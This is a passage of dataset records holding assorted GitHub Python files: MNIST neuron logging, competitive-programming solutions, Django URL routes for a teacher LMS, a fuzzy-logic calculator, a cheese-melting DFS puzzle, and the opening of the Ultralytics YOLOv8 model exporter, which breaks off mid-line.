set')\n\nparser.add_argument('--compress', action='store_true',\n\thelp='compress HDF5 files using gzip')\n\nparser.add_argument('--shear', action='store_true',\n\thelp='collect neuron data for the random shear experiment')\n\n\ndef main():\n\t# Get command line args\n\targs = parser.parse_args()\n\tprint(args)\n\n\t# Initialize blank model, then load in parameters from args.model_path\n\tcnn = ConvNet()\n\tcnn.load_state_dict(torch.load(args.model_path))\n\n\tif args.shear:\n\t\t# Get MNIST set for each shear in shear_list\n\t\tshear_list = np.linspace(-50, 50, 11).astype(np.int8)\n\n\t\txfms = [transforms.Compose([\n\t\t\tRandomChoiceShear([shear]),\n\t\t\ttransforms.ToTensor(),\n\t\t\ttransforms.Normalize((0.1307,), (0.3081,))\n\t\t\t]) for shear in shear_list]\n\n\t\tdsets = [datasets.MNIST('./datasets/mnist', train=args.train, download=True, transform=xfm) for xfm in xfms]\n\t\t\n\t\t# Concatenate them into one dataset of the form [all MNIST with shear 1, all MNIST with shear 2, ...]\n\t\tdata = torch.utils.data.ConcatDataset(dsets)\n\n\t\t# Create corresponding list of shears for each image\n\t\tshears = [shear for shear in shear_list for i in range(len(dsets[0]))]\n\n\t\t# Create corresponding list of MNIST training set index for each image\n\t\tmnist_index = np.tile(np.linspace(0, len(dsets[0])-1, len(dsets[0])), len(dsets)).astype(np.uint)\n\n\t\t# Create dictionary of other metadata (shears and mnist index) to pass to gather_neuron_data()\n\t\tmetadata_dict = dict(shears=shears, mnist_index=mnist_index)\n\n\telse:\n\t\t# Get the MNIST set\n\t\txfm = transforms.Compose([\n\t\t\ttransforms.ToTensor(),\n\t\t\ttransforms.Normalize((0.1307,), (0.3081,))\n\t\t\t])\n\n\t\tdata = datasets.MNIST('./datasets/mnist', train=args.train, download=True, transform=xfm)\n\t\t\n\t\tmnist_index = np.linspace(0, len(data)-1, len(data)).astype(np.uint)\n\t\tmetadata_dict = dict(mnist_index=mnist_index)\n\n\tif args.compress:\n\t\tcompression='gzip'\n\telse:\t\n\t\tcompression=None\n\t\t\n\tgather_neuron_data(cnn, data, args.save_path, 512, batch_size=args.batch_size, compression=compression, metadata=metadata_dict)\n\n\nif __name__ == '__main__':\n\tmain()","repo_name":"culv/nn_audit","sub_path":"get_neurons.py","file_name":"get_neurons.py","file_ext":"py","file_size_in_byte":3009,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"18389660279","text":"import bisect, copy, heapq, math\nfrom math import inf\nimport sys\nfrom collections import *\nfrom functools import lru_cache\nfrom itertools import accumulate, combinations, permutations, product\ndef input():\n return sys.stdin.readline()[:-1]\ndef ruiseki(lst):\n return [0]+list(accumulate(lst))\ndef celi(a,b):\n return -(-a//b)\nsys.setrecursionlimit(5000000)\nmod=pow(10,9)+7\nal=[chr(ord('a') + i) for i in range(26)]\ndirection=[[1,0],[0,1],[-1,0],[0,-1]]\n\nn,m=map(int,input().split())\na=[int(input()) for i in range(m)]\n\ndic={}\nfor i in range(m):\n dic[a[i]]=1\ndp=[0]*(n+2)\n\ndp[0]=1\nfor i in range(n):\n if i in dic:\n continue\n dp[i+1]+=dp[i]\n dp[i+2]+=dp[i]\n dp[i+1]%=mod\n dp[i+2]%=mod\nprint(dp[-2])","repo_name":"Aasthaengg/IBMdataset","sub_path":"Python_codes/p03013/s239526370.py","file_name":"s239526370.py","file_ext":"py","file_size_in_byte":728,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"73552304618","text":"from django.urls import path\r\nfrom .views import (\r\n TeacherCourseDetailAPIView,\r\n TeacherFinancialAidsAPIView,\r\n TeacherSessionDetailAPIView,\r\n TeacherHomeAPIView,\r\n TeacherExamAPIView,\r\n TeacherExamFindCheetersAPIView,\r\n TeacherExamQuestionAPIView,\r\n TeacherExamFtQuestionAnswerAPIView,\r\n TeacherGetMemberExamAPIView,\r\n TeacherListMemberExamAPIView,\r\n TeacherMemberExamFtQuestionAPIView,\r\n TeacherAssignmentAPIView,\r\n TeacherAssignmentQuestionAPIView,\r\n TeacherAssignmentFtQuestionAnswerAPIView,\r\n TeacherGetMemberAssignmentAPIView,\r\n TeacherListMemberAssignmentAPIView,\r\n TeacherMemberAssignmentFtQuestionAPIView,\r\n TeacherContentAPIView,\r\n TeacherExamFindSimilarAnswersAPIView,\r\n TeacherAssignmentFindSimilarAnswersAPIView,\r\n)\r\n\r\n\r\nurlpatterns = [\r\n path(\"home/\", TeacherHomeAPIView.as_view(), name=\"home\"),\r\n path(\r\n \"course//\",\r\n TeacherCourseDetailAPIView.as_view(),\r\n name=\"course_detail\",\r\n ),\r\n path(\r\n \"session//\",\r\n TeacherSessionDetailAPIView.as_view(),\r\n name=\"session_detail\",\r\n ),\r\n path(\r\n \"course//financial-aids/\",\r\n TeacherFinancialAidsAPIView.as_view(),\r\n name=\"student_financial_aids\",\r\n ),\r\n path(\r\n \"session//exam/create\",\r\n TeacherExamAPIView.as_view(),\r\n name=\"exam_create\",\r\n ),\r\n path(\r\n \"exam//\",\r\n TeacherExamAPIView.as_view(),\r\n name=\"exam\",\r\n ),\r\n path(\r\n \"exam//cheeters\",\r\n TeacherExamFindCheetersAPIView.as_view(),\r\n name=\"exam_cheeters\",\r\n ),\r\n path(\r\n \"exam//members/\",\r\n TeacherListMemberExamAPIView.as_view(),\r\n name=\"member_exam_list\",\r\n ),\r\n path(\r\n \"exam/members//\",\r\n TeacherGetMemberExamAPIView.as_view(),\r\n name=\"member_exam_get\",\r\n ),\r\n path(\r\n \"exam//ftquestion/create/\",\r\n TeacherExamQuestionAPIView.as_view(),\r\n name=\"exam_ftquestion_create\",\r\n ),\r\n path(\r\n \"exam/ftquestion//\",\r\n TeacherExamQuestionAPIView.as_view(),\r\n name=\"exam_ftquestion\",\r\n ),\r\n path(\r\n \"exam/ftquestion//answer/create/\",\r\n TeacherExamFtQuestionAnswerAPIView.as_view(),\r\n name=\"exam_ftquestion_answer_create\",\r\n ),\r\n path(\r\n \"exam/ftquestion/answer//\",\r\n TeacherExamFtQuestionAnswerAPIView.as_view(),\r\n name=\"exam_ftquestion_answer\",\r\n ),\r\n path(\r\n \"exam/ftquestion/member/answer//score/\",\r\n TeacherMemberExamFtQuestionAPIView.as_view(),\r\n name=\"exam_ftquestion_member_answer_score\",\r\n ),\r\n path(\r\n \"session//assignment/create/\",\r\n TeacherAssignmentAPIView.as_view(),\r\n name=\"assignment_create\",\r\n ),\r\n path(\r\n \"assignment//\",\r\n TeacherAssignmentAPIView.as_view(),\r\n name=\"assignment\",\r\n ),\r\n path(\r\n \"assignment//members/\",\r\n TeacherListMemberAssignmentAPIView.as_view(),\r\n name=\"member_assignment_list\",\r\n ),\r\n path(\r\n \"assignment/members//\",\r\n TeacherGetMemberAssignmentAPIView.as_view(),\r\n name=\"member_assignment_get\",\r\n ),\r\n path(\r\n \"assignment//ftquestion/create/\",\r\n TeacherAssignmentQuestionAPIView.as_view(),\r\n name=\"assignment_ftquestion_create\",\r\n ),\r\n path(\r\n \"assignment/ftquestion//\",\r\n TeacherAssignmentQuestionAPIView.as_view(),\r\n name=\"assignment_ftquestion_get\",\r\n ),\r\n path(\r\n \"assignment/ftquestion//answer/create/\",\r\n TeacherAssignmentFtQuestionAnswerAPIView.as_view(),\r\n name=\"assignment_ftquestion_answer_create\",\r\n ),\r\n path(\r\n \"assignment/ftquestion/answer//\",\r\n TeacherAssignmentFtQuestionAnswerAPIView.as_view(),\r\n name=\"assignment_ftquestion_answer_create\",\r\n ),\r\n path(\r\n \"assignment/ftquestion/member/answer//score/\",\r\n TeacherMemberAssignmentFtQuestionAPIView.as_view(),\r\n name=\"assignment_ftquestion_member_answer_score\",\r\n ),\r\n path(\r\n \"session//content/create/\",\r\n TeacherContentAPIView.as_view(),\r\n name=\"content_create\",\r\n ),\r\n path(\r\n \"content//\",\r\n TeacherContentAPIView.as_view(),\r\n name=\"content\",\r\n ),\r\n path(\r\n \"assignment//similar-answers\",\r\n TeacherAssignmentFindSimilarAnswersAPIView.as_view(),\r\n name=\"assignemnt_similar_aswers\",\r\n ),\r\n path(\r\n \"exam//similar-answers\",\r\n TeacherExamFindSimilarAnswersAPIView.as_view(),\r\n name=\"exam_similar_aswers\",\r\n ),\r\n]\r\n","repo_name":"ahsphbdi/lms-backend","sub_path":"app/teachers/apis/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":5134,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"90"} +{"seq_id":"72007580776","text":"\nx = input('Masukkan Nilai permintaan = ' )\ny = input ('Masukkan Nilai persediaan = ')\n\npermintaan = float(x)\npersediaan = float(y)\n\n\nif permintaan<= 1000:\n pmt_turun = 1\n pmt_naik = 0\n \nif permintaan>=1000 and permintaan<=5000 :\n pmt_turun = (5000-permintaan)/4000\n pmt_naik = (permintaan-1000)/4000\n \nif permintaan>=5000:\n pmt_turun = 0\n pmt_naik = 1\n\n\nif persediaan<=100:\n psd_sedikit= 1\n psd_banyak = 0\n \nif persediaan>=100 and persediaan <=600:\n psd_sedikit= (600-persediaan)/500\n psd_banyak = (persediaan-100)/500\n \nif persediaan>=600:\n psd_sedikit= 0\n psd_banyak = 1\n\n\nprint('')\nprint('Hasil Proses Fuzzifikasi') \nprint('Hasil derajat keanggotaan pada setiap variabel Linguistik \"Permintaan\"')\nprint('Nilai Permintaan Turun =', pmt_turun)\nprint('Nilai Permintaan Naik =', pmt_naik)\nprint('')\nprint('Hasil derajat keanggotaan pada setiap variabel Linguistik \"Persediaan\"' )\nprint('Nilai Persediaan Sedikit =', psd_sedikit)\nprint('Nilai Persediaan Banyak =', psd_banyak)\n\nprint('Sistem Inferensi / Menyesuaikan sesuai aturan yang dibuat')\np1 = min(pmt_turun, psd_banyak)\nz1 = 7000 - (p1 * 5000)\n\np2 = min(pmt_turun, psd_sedikit)\nz2 = 7000 - (p2 * 5000)\n\np3 = min(pmt_naik, psd_banyak)\nz3 = (p3 * 5000) + 2000\n\np4 = min(pmt_naik, psd_sedikit)\nz4 = (p4 * 5000) + 2000\n\nz = ((p1*z1) + (p2*z2) + (p3*z3) + (p4 *z4)) / (p1+p2+p3+p4)\n\n\nprint('')\nprint('Nilai z1 = ', z1)\nprint('Nilai z2 = ', z2)\nprint('Nilai z3 = ', z3)\nprint('Nilai z4 = ', z4)\nprint('Nilai z = ', z)\n\n","repo_name":"R3042/Pratikum-AI","sub_path":"2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":1516,"program_lang":"python","lang":"id","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"18544757609","text":"import sys\nimport os\n\nOK = 'APPROVED'\nNG = 'DENIED'\n\n\ndef main():\n if os.getenv(\"LOCAL\"):\n sys.stdin = open(\"input.txt\", \"r\")\n\n A, B, X = list(map(int, sys.stdin.buffer.readline().split()))\n\n print('YES' if A <= X and X - A <= B else 'NO')\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"Aasthaengg/IBMdataset","sub_path":"Python_codes/p03377/s457727756.py","file_name":"s457727756.py","file_ext":"py","file_size_in_byte":296,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"2710745111","text":"import hashlib\nimport time\nanswer = [''] * 8\nprint(answer)\nstart_time = time.time()\nfor i in range(0, 100000000):\n if '' not in answer:\n break\n input = 'abbhdwsy' + str(i)\n hash = hashlib.md5(input.encode()).hexdigest()\n if hash[0:5] == '00000':\n try:\n position = int(hash[5])\n if position > -1 and position < 8:\n if answer[position] == '':\n answer[position] = hash[6]\n except:\n continue\nprint(answer)\nprint(\"--- %s seconds ---\" % (time.time() - start_time))","repo_name":"dstjacques/AdventOfCode","sub_path":"2016/5.2.py","file_name":"5.2.py","file_ext":"py","file_size_in_byte":474,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"27401246275","text":"from django.conf.urls import patterns, include, url\nfrom django.contrib import admin\nfrom django.views.generic import TemplateView\nfrom books.views import about_pages\n\nadmin.autodiscover()\n\nurlpatterns = patterns('',\n # Examples:\n # url(r'^$', 'mysite.views.home', name='home'),\n # url(r'^blog/', include('blog.urls')),\n\n url(r'^admin/', include(admin.site.urls)),\n url(r'^$', 'mysite.views.first_page'),\n url(r'^west/', include('west.urls')),\n url(r'^time/$', 'mysite.views.current_datetime'),\n url(r'^time/plus/(\\d{1,2})/$', 'mysite.views.hours_ahead'),\n url(r'^display/$', 'mysite.views.display_meta'),\n #url(r'^search-form/$', 'books.views.search_form'),\n url(r'^search/$', 'books.views.search'),\n url(r'^contact/$', 'contact.views.contact'),\n url(r'^contact/thanks/$', 'contact.views.thanks'),\n url(r'^about/$', TemplateView.as_view(template_name='about.html')),\n url(r'^about/(\\w+)/$', about_pages),\n)\n\n","repo_name":"zhuwowuyuing/mysite","sub_path":"mysite/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":954,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"72211415018","text":"# 안쪽에 있는 0과 치즈 가장 자리 바깥에 있는 0을 서로 다르게 구분지어 주는 것이 포인트\r\n# 1. 치즈 바깥의 0을 모두 2로 만들어주며 구분지어준다.\r\n# 2. 그 다음 가장자리와 인접한 1을 0으로 만든다.\r\n# 3. 2를 모두 0으로 만들어준 다음 다시 1의 과정으로 돌아가 반복 계산.\r\n# 4. 1이 모두 없어지면 반복 계산 종료.\r\n\r\nimport sys\r\nsys.setrecursionlimit(100000)\r\n# 재귀 제한 해제\r\n\r\nn, m = map(int, input().split(' '))\r\n\r\ncheese = [list(map(int, input().split(' '))) for _ in range(n)]\r\n\r\n# 치즈의 겉에 있는 부분들을 모두 2로 만들어준다.\r\ndef dfs(x, y):\r\n if 0 <= x < n and 0 <= y < m:\r\n if cheese[x][y] == 0:\r\n cheese[x][y] = 2\r\n dfs(x - 1, y)\r\n dfs(x + 1, y)\r\n dfs(x, y - 1)\r\n dfs(x, y + 1)\r\n\r\n\r\nresult_count = [] # 남아 있는 1의 개수 저장소\r\nturn = 0 # 반복 계산 횟수\r\nwhile True:\r\n # changed 의 역할은 치즈가 남아있지 않을 때 반복문을 종료하기 위함\r\n changed = 0\r\n # 치즈 바깥 가장자리의 0을 모두 2로 만들기\r\n dfs(0, 0)\r\n\r\n # 남아 있는 1의 개수를 result_count 리스트에 저장\r\n count = 0\r\n for i in cheese:\r\n count += i.count(1)\r\n result_count.append(count)\r\n\r\n # 1의 상하좌우에 2가 있다면 1 -> 0 으로 만듦.\r\n for i in range(n):\r\n for j in range(m):\r\n if cheese[i][j] == 1:\r\n # 1이 남아있다면 반복문을 종료하지 않기 위함.\r\n changed = 1\r\n # 상하좌우에 2가 있는지\r\n if cheese[i-1][j] == 2 or cheese[i+1][j] == 2 or cheese[i][j-1] == 2 or cheese[i][j+1] == 2:\r\n cheese[i][j] = 0\r\n # 1이 남아있지 않다면 반복문 종료.\r\n if changed == 0:\r\n break\r\n # 행렬 중에 2인 부분을 전부 0으로 만들어준다.\r\n for i in range(n):\r\n for j in range(m):\r\n if cheese[i][j] == 2:\r\n cheese[i][j] = 0\r\n # 반복 계산 횟수 +1\r\n turn += 1\r\n\r\nprint(turn)\r\n# 리스트에서 인덱스를 (-)로 하면 뒤에서부터 순서대로\r\n# 리스트에 원소가 1개인 상태라면 0과 -1이 가리키는 원소가 같다.\r\nprint(result_count[turn-1])\r\n\r\n\"\"\"\r\n문제\r\n아래 <그림 1>과 같이 정사각형 칸들로 이루어진 사각형 모양의 판이 있고, 그 위에 얇은 치즈(회색으로 표시된 부분)가 놓여 있다. \r\n판의 가장자리(<그림 1>에서 네모 칸에 X친 부분)에는 치즈가 놓여 있지 않으며 치즈에는 하나 이상의 구멍이 있을 수 있다.\r\n\r\n이 치즈를 공기 중에 놓으면 녹게 되는데 공기와 접촉된 칸은 한 시간이 지나면 녹아 없어진다. \r\n치즈의 구멍 속에는 공기가 없지만 구멍을 둘러싼 치즈가 녹아서 구멍이 열리면 구멍 속으로 공기가 들어가게 된다. \r\n<그림 1>의 경우, 치즈의 구멍을 둘러싼 치즈는 녹지 않고 ‘c’로 표시된 부분만 한 시간 후에 녹아 없어져서 <그림 2>와 같이 된다.\r\n\r\n다시 한 시간 후에는 <그림 2>에서 ‘c’로 표시된 부분이 녹아 없어져서 <그림 3>과 같이 된다.\r\n\r\n<그림 3>은 원래 치즈의 두 시간 후 모양을 나타내고 있으며, 남은 조각들은 한 시간이 더 지나면 모두 녹아 없어진다. \r\n그러므로 처음 치즈가 모두 녹아 없어지는 데는 세 시간이 걸린다. <그림 3>과 같이 치즈가 녹는 과정에서 여러 조각으로 나누어 질 수도 있다.\r\n\r\n입력으로 사각형 모양의 판의 크기와 한 조각의 치즈가 판 위에 주어졌을 때, \r\n공기 중에서 치즈가 모두 녹아 없어지는 데 걸리는 시간과 \r\n모두 녹기 한 시간 전에 남아있는 치즈조각이 놓여 있는 칸의 개수를 구하는 프로그램을 작성하시오.\r\n\r\n입력\r\n첫째 줄에는 사각형 모양 판의 세로와 가로의 길이가 양의 정수로 주어진다. \r\n세로와 가로의 길이는 최대 100이다. 판의 각 가로줄의 모양이 윗 줄부터 차례로 둘째 줄부터 마지막 줄까지 주어진다. \r\n치즈가 없는 칸은 0, 치즈가 있는 칸은 1로 주어지며 각 숫자 사이에는 빈칸이 하나씩 있다.\r\n\r\n출력\r\n첫째 줄에는 치즈가 모두 녹아서 없어지는 데 걸리는 시간을 출력하고, \r\n둘째 줄에는 모두 녹기 한 시간 전에 남아있는 치즈조각이 놓여 있는 칸의 개수를 출력한다.\r\n\r\n예제 입력 1 \r\n13 12\r\n0 0 0 0 0 0 0 0 0 0 0 0\r\n0 0 0 0 0 0 0 0 0 0 0 0\r\n0 0 0 0 0 0 0 1 1 0 0 0\r\n0 1 1 1 0 0 0 1 1 0 0 0\r\n0 1 1 1 1 1 1 0 0 0 0 0\r\n0 1 1 1 1 1 0 1 1 0 0 0\r\n0 1 1 1 1 0 0 1 1 0 0 0\r\n0 0 1 1 0 0 0 1 1 0 0 0\r\n0 0 1 1 1 1 1 1 1 0 0 0\r\n0 0 1 1 1 1 1 1 1 0 0 0\r\n0 0 1 1 1 1 1 1 1 0 0 0\r\n0 0 1 1 1 1 1 1 1 0 0 0\r\n0 0 0 0 0 0 0 0 0 0 0 0\r\n예제 출력 1 \r\n3\r\n5\r\n예제 입력 2\r\n3 3\r\n0 0 0\r\n0 1 0\r\n0 0 0\r\n예제 출력 2\r\n1\r\n1\r\n\"\"\"","repo_name":"khyup0629/Algorithm","sub_path":"시뮬레이션/2636번 치즈(완전탐색, DFS).py","file_name":"2636번 치즈(완전탐색, DFS).py","file_ext":"py","file_size_in_byte":5034,"program_lang":"python","lang":"ko","doc_type":"code","stars":3,"dataset":"github-code","pt":"90"} +{"seq_id":"18579090079","text":"N,Y=map(int,input().split())\nans=0\n\nnax=Y//1000\n\nif N==nax:\n print(0,0,nax)\n exit()\nelif N>nax:\n print(-1,-1,-1)\n exit()\nelse:\n for i in range(nax//10+1):\n for j in range(nax//5+1):\n if nax-10*i-5*j>=0 and nax-9*i-4*j==N:\n print(i,j,nax-10*i-5*j)\n exit()\nprint(-1,-1,-1)","repo_name":"Aasthaengg/IBMdataset","sub_path":"Python_codes/p03471/s990066326.py","file_name":"s990066326.py","file_ext":"py","file_size_in_byte":333,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"6319584467","text":"# Ultralytics YOLO ЁЯЪА, AGPL-3.0 license\n\"\"\"\nExport a YOLOv8 PyTorch model to other formats. TensorFlow exports authored by https://github.com/zldrobit\n\nFormat | `format=argument` | Model\n--- | --- | ---\nPyTorch | - | yolov8n.pt\nTorchScript | `torchscript` | yolov8n.torchscript\nONNX | `onnx` | yolov8n.onnx\nOpenVINO | `openvino` | yolov8n_openvino_model/\nTensorRT | `engine` | yolov8n.engine\nCoreML | `coreml` | yolov8n.mlpackage\nTensorFlow SavedModel | `saved_model` | yolov8n_saved_model/\nTensorFlow GraphDef | `pb` | yolov8n.pb\nTensorFlow Lite | `tflite` | yolov8n.tflite\nTensorFlow Edge TPU | `edgetpu` | yolov8n_edgetpu.tflite\nTensorFlow.js | `tfjs` | yolov8n_web_model/\nPaddlePaddle | `paddle` | yolov8n_paddle_model/\nncnn | `ncnn` | yolov8n_ncnn_model/\n\nRequirements:\n $ pip install \"ultralytics[export]\"\n\nPython:\n from ultralytics import YOLO\n model = YOLO('yolov8n.pt')\n results = model.export(format='onnx')\n\nCLI:\n $ yolo mode=export model=yolov8n.pt format=onnx\n\nInference:\n $ yolo predict model=yolov8n.pt # PyTorch\n yolov8n.torchscript # TorchScript\n yolov8n.onnx # ONNX Runtime or OpenCV DNN with dnn=True\n yolov8n_openvino_model # OpenVINO\n yolov8n.engine # TensorRT\n yolov8n.mlpackage # CoreML (macOS-only)\n yolov8n_saved_model # TensorFlow SavedModel\n yolov8n.pb # TensorFlow GraphDef\n yolov8n.tflite # TensorFlow Lite\n yolov8n_edgetpu.tflite # TensorFlow Edge TPU\n yolov8n_paddle_model # PaddlePaddle\n\nTensorFlow.js:\n $ cd .. && git clone https://github.com/zldrobit/tfjs-yolov5-example.git && cd tfjs-yolov5-example\n $ npm install\n $ ln -s ../../yolov5/yolov8n_web_model public/yolov8n_web_model\n $ npm start\n\"\"\"\nimport json\nimport os\nimport shutil\nimport subprocess\nimport time\nimport warnings\nfrom copy import deepcopy\nfrom datetime import datetime\nfrom pathlib import Path\n\nimport numpy as np\nimport torch\n\nfrom ultralytics.cfg import get_cfg\nfrom ultralytics.data.dataset import YOLODataset\nfrom ultralytics.data.utils import check_det_dataset\nfrom ultralytics.nn.autobackend import check_class_names\nfrom ultralytics.nn.modules import C2f, Detect, RTDETRDecoder\nfrom ultralytics.nn.tasks import DetectionModel, SegmentationModel\nfrom ultralytics.utils import (ARM64, DEFAULT_CFG, LINUX, LOGGER, MACOS, ROOT, WINDOWS, __version__, callbacks,\n colorstr, get_default_args, yaml_save)\nfrom ultralytics.utils.checks import check_imgsz, check_requirements, check_version\nfrom ultralytics.utils.downloads import attempt_download_asset, get_github_assets\nfrom ultralytics.utils.files import file_size, spaces_in_path\nfrom ultralytics.utils.ops import Profile\nfrom ultralytics.utils.torch_utils import get_latest_opset, select_device, smart_inference_mode\n\n\ndef export_formats():\n \"\"\"YOLOv8 export formats.\"\"\"\n import pandas\n x = [\n ['PyTorch', '-', '.pt', True, True],\n ['TorchScript', 'torchscript', '.torchscript', True, True],\n ['ONNX', 'onnx', '.onnx', True, True],\n ['OpenVINO', 'openvino', '_openvino_model', True, False],\n ['TensorRT', 'engine', '.engine', False, True],\n ['CoreML', 'coreml', '.mlpackage', True, False],\n ['TensorFlow SavedModel', 'saved_model', '_saved_model', True, True],\n ['TensorFlow GraphDef', 'pb', '.pb', True, True],\n ['TensorFlow Lite', 'tflite', '.tflite', True, False],\n ['TensorFlow Edge TPU', 'edgetpu', '_edgetpu.tflite', True, False],\n ['TensorFlow.js', 'tfjs', '_web_model', True, False],\n ['PaddlePaddle', 'paddle', '_paddle_model', True, True],\n ['ncnn', 'ncnn', '_ncnn_model', True, True], ]\n return pandas.DataFrame(x, columns=['Format', 'Argument', 'Suffix', 'CPU', 'GPU'])\n\n\ndef gd_outputs(gd):\n \"\"\"TensorFlow GraphDef model output node names.\"\"\"\n name_list, input_list = [], []\n for node in gd.node: # tensorflow.core.framework.node_def_pb2.NodeDef\n name_list.append(node.name)\n input_list.extend(node.input)\n return sorted(f'{x}:0' for x in list(set(name_list) - set(input_list)) if not x.startswith('NoOp'))\n\n\ndef try_export(inner_func):\n \"\"\"YOLOv8 export decorator, i..e @try_export.\"\"\"\n inner_args = get_default_args(inner_func)\n\n def outer_func(*args, **kwargs):\n \"\"\"Export a model.\"\"\"\n prefix = inner_args['prefix']\n try:\n with Profile() as dt:\n f, model = inner_func(*args, **kwargs)\n LOGGER.info(f\"{prefix} export success тЬЕ {dt.t:.1f}s, saved as '{f}' ({file_size(f):.1f} MB)\")\n return f, model\n except Exception as e:\n LOGGER.info(f'{prefix} export failure тЭМ {dt.t:.1f}s: {e}')\n raise e\n\n return outer_func\n\n\nclass Exporter:\n \"\"\"\n A class for exporting a model.\n\n Attributes:\n args (SimpleNamespace): Configuration for the exporter.\n callbacks (list, optional): List of callback functions. Defaults to None.\n \"\"\"\n\n def __init__(self, cfg=DEFAULT_CFG, overrides=None, _callbacks=None):\n \"\"\"\n Initializes the Exporter class.\n\n Args:\n cfg (str, optional): Path to a configuration file. Defaults to DEFAULT_CFG.\n overrides (dict, optional): Configuration overrides. Defaults to None.\n _callbacks (dict, optional): Dictionary of callback functions. Defaults to None.\n \"\"\"\n self.args = get_cfg(cfg, overrides)\n if self.args.format.lower() in ('coreml', 'mlmodel'): # fix attempt for protobuf<3.20.x errors\n os.environ['PROTOCOL_BUFFERS_PYTHON_IMPLEMENTATION'] = 'python' # must run before TensorBoard callback\n\n self.callbacks = _callbacks or callbacks.get_default_callbacks()\n callbacks.add_integration_callbacks(self)\n\n @smart_inference_mode()\n def __call__(self, model=None):\n \"\"\"Returns list of exported files/dirs after running callbacks.\"\"\"\n self.run_callbacks('on_export_start')\n t = time.time()\n fmt = self.args.format.lower() # to lowercase\n if fmt in ('tensorrt', 'trt'): # 'engine' aliases\n fmt = 'engine'\n if fmt in ('mlmodel', 'mlpackage', 'mlprogram', 'apple', 'ios', 'coreml'): # 'coreml' aliases\n fmt = 'coreml'\n fmts = tuple(export_formats()['Argument'][1:]) # available export formats\n flags = [x == fmt for x in fmts]\n if sum(flags) != 1:\n raise ValueError(f\"Invalid export format='{fmt}'. Valid formats are {fmts}\")\n jit, onnx, xml, engine, coreml, saved_model, pb, tflite, edgetpu, tfjs, paddle, ncnn = flags # export booleans\n\n # Device\n if fmt == 'engine' and self.args.device is None:\n LOGGER.warning('WARNING тЪая╕П TensorRT requires GPU export, automatically assigning device=0')\n self.args.device = '0'\n self.device = select_device('cpu' if self.args.device is None else self.args.device)\n\n # Checks\n model.names = check_class_names(model.names)\n if self.args.half and onnx and self.device.type == 'cpu':\n LOGGER.warning('WARNING тЪая╕П half=True only compatible with GPU export, i.e. use device=0')\n self.args.half = False\n assert not self.args.dynamic, 'half=True not compatible with dynamic=True, i.e. use only one.'\n self.imgsz = check_imgsz(self.args.imgsz, stride=model.stride, min_dim=2) # check image size\n if self.args.optimize:\n assert not ncnn, \"optimize=True not compatible with format='ncnn', i.e. use optimize=False\"\n assert self.device.type == 'cpu', \"optimize=True not compatible with cuda devices, i.e. use device='cpu'\"\n if edgetpu and not LINUX:\n raise SystemError('Edge TPU export only supported on Linux. See https://coral.ai/docs/edgetpu/compiler/')\n\n # Input\n im = torch.zeros(self.args.batch, 3, *self.imgsz).to(self.device)\n file = Path(\n getattr(model, 'pt_path', None) or getattr(model, 'yaml_file', None) or model.yaml.get('yaml_file', ''))\n if file.suffix in {'.yaml', '.yml'}:\n file = Path(file.name)\n\n # Update model\n model = deepcopy(model).to(self.device)\n for p in model.parameters():\n p.requires_grad = False\n model.eval()\n model.float()\n model = model.fuse()\n for m in model.modules():\n if isinstance(m, (Detect, RTDETRDecoder)): # Segment and Pose use Detect base class\n m.dynamic = self.args.dynamic\n m.export = True\n m.format = self.args.format\n elif isinstance(m, C2f) and not any((saved_model, pb, tflite, edgetpu, tfjs)):\n # EdgeTPU does not support FlexSplitV while split provides cleaner ONNX graph\n m.forward = m.forward_split\n\n y = None\n for _ in range(2):\n y = model(im) # dry runs\n if self.args.half and (engine or onnx) and self.device.type != 'cpu':\n im, model = im.half(), model.half() # to FP16\n\n # Filter warnings\n warnings.filterwarnings('ignore', category=torch.jit.TracerWarning) # suppress TracerWarning\n warnings.filterwarnings('ignore', category=UserWarning) # suppress shape prim::Constant missing ONNX warning\n warnings.filterwarnings('ignore', category=DeprecationWarning) # suppress CoreML np.bool deprecation warning\n\n # Assign\n self.im = im\n self.model = model\n self.file = file\n self.output_shape = tuple(y.shape) if isinstance(y, torch.Tensor) else tuple(\n tuple(x.shape if isinstance(x, torch.Tensor) else []) for x in y)\n self.pretty_name = Path(self.model.yaml.get('yaml_file', self.file)).stem.replace('yolo', 'YOLO')\n data = model.args['data'] if hasattr(model, 'args') and isinstance(model.args, dict) else ''\n description = f'Ultralytics {self.pretty_name} model {f\"trained on {data}\" if data else \"\"}'\n self.metadata = {\n 'description': description,\n 'author': 'Ultralytics',\n 'license': 'AGPL-3.0 https://ultralytics.com/license',\n 'date': datetime.now().isoformat(),\n 'version': __version__,\n 'stride': int(max(model.stride)),\n 'task': model.task,\n 'batch': self.args.batch,\n 'imgsz': self.imgsz,\n 'names': model.names} # model metadata\n if model.task == 'pose':\n self.metadata['kpt_shape'] = model.model[-1].kpt_shape\n\n LOGGER.info(f\"\\n{colorstr('PyTorch:')} starting from '{file}' with input shape {tuple(im.shape)} BCHW and \"\n f'output shape(s) {self.output_shape} ({file_size(file):.1f} MB)')\n\n # Exports\n f = [''] * len(fmts) # exported filenames\n if jit or ncnn: # TorchScript\n f[0], _ = self.export_torchscript()\n if engine: # TensorRT required before ONNX\n f[1], _ = self.export_engine()\n if onnx or xml: # OpenVINO requires ONNX\n f[2], _ = self.export_onnx()\n if xml: # OpenVINO\n f[3], _ = self.export_openvino()\n if coreml: # CoreML\n f[4], _ = self.export_coreml()\n if any((saved_model, pb, tflite, edgetpu, tfjs)): # TensorFlow formats\n self.args.int8 |= edgetpu\n f[5], keras_model = self.export_saved_model()\n if pb or tfjs: # pb prerequisite to tfjs\n f[6], _ = self.export_pb(keras_model=keras_model)\n if 